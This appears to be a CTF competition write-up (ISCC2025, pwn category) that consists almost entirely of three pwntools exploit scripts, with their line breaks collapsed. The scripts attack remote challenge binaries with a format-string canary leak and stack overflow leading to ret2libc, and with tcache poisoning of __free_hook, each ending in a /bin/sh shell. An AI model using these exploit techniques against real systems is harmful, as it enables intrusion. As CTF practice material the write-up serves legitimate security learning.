【CTF】ISCC2025练武题PWN方向WP

from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'i386', os = 'linux')p = remote('101.200.155.151', 12400)#p=process('./attachment-7')elf = ELF('./attachment-7')p.sendlineafter(b'name?nn',b'%23$p')p.recvuntil(b'0x')canary = int(p.recv(8),16)puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.sym['main']payload = b'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(puts_plt)+p32(main_addr)+p32(puts_got)p.sendafter(b'password?nn',payload)puts_addr = u32(p.recv()[0:4])#libc=LibcSearcher("puts",puts_addr)#libcbase=puts_addr-libc.dump("puts")#addr_system=libcbase+libc.dump("system")#addr_binsh=libcbase+libc.dump("str_bin_sh")addr_system = puts_addr-(0x072880-0x047cd0)addr_binsh = puts_addr+(0x1b90d5-0x072880)p.sendlineafter(b'name?nn',b'%23$p')p.recvuntil(b'0x')canary = int(p.recv(8),16)payload = b'a'*0x40+p32(canary)+b'a'*0x8+p32(0xdeadbeef)+p32(addr_system)+p32(main_addr)+p32(addr_binsh)p.sendafter(b'password?nn',payload)p.interactive()

from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = remote('101.200.155.151', 12200)#p=process('./attachment-8')elf = ELF('./attachment-8')libc=ELF('./attachment-8.so')p.sendlineafter(b'size:n',b'100')p.sendlineafter(b'flag:n',b'flag')pop_rdi_ret = 0x4014c3ret_addr = 0x40101Aputs_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.sym['main']payload = b'a'*0x18+b'b'p.sendafter(b'ISCCn',payload)p.recv(0x18)canary = int.from_bytes(p.recv(8), 'little') - ord('b')print(hex(canary))payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)p.sendlineafter(b'you',payload)puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))print(hex(puts_addr))libcbase = puts_addr - libc.sym['puts']addr_system=libcbase+libc.sym["system"]addr_binsh=libcbase+next(libc.search(b"/bin/sh"))payload = b'a'*0x18+b'b'p.sendafter(b'ISCCn',payload)p.recv(0x18)canary = int.from_bytes(p.recv(8), 'little') - ord('b')payload = b'a'*0x18+p64(canary)+p64(0xdeadbeef)+p64(ret_addr)+p64(pop_rdi_ret)+p64(addr_binsh)+p64(addr_system)p.sendline(payload)p.interactive()

from pwn import *from LibcSearcher import *from struct import packfrom ctypes import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = remote('101.200.155.151', 12700)#p=process('./attachment-13')elf = ELF('./attachment-13')libc=ELF('./attachment-13.6') #2.27def create(idx,size):    p.sendlineafter(b"your choice:n", b"1")    p.sendlineafter(b"coordinate:n", str(idx))    p.sendlineafter(b"required:n", str(size))def show(idx):    p.sendlineafter(b"your choice:n", b"4")    p.sendlineafter(b'cosmic truth:n',str(idx))def free(idx):    p.sendlineafter(b"your choice:n", b"2")    p.sendlineafter(b'cleanse:n',str(idx))def edit(idx,size,content):    p.sendlineafter(b"your choice:n", b"3")    p.sendlineafter(b'inscription:n',str(idx))    p.sendlineafter(b"length:n", str(size))    p.sendafter(b"truth:n", content)create(0,0x410)create(1,0x20) #tcachecreate(2,0x20)create(3,0x20)create(4,0x20)free(0)show(0)leak_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00')) #main_arena_addr+0x60libc_base = leak_addr - 0x3ebca0free_hook = libc_base + libc.sym['__free_hook']system = libc_base + libc.sym['system']free(2)free(3)edit(3,0x8,p64(free_hook))create(2,0x20)create(3,0x20)edit(3,0x8,p64(system)) #edit __free_hook to systemedit(4,0x8,b'/bin/shx00')free(4)p.interactive()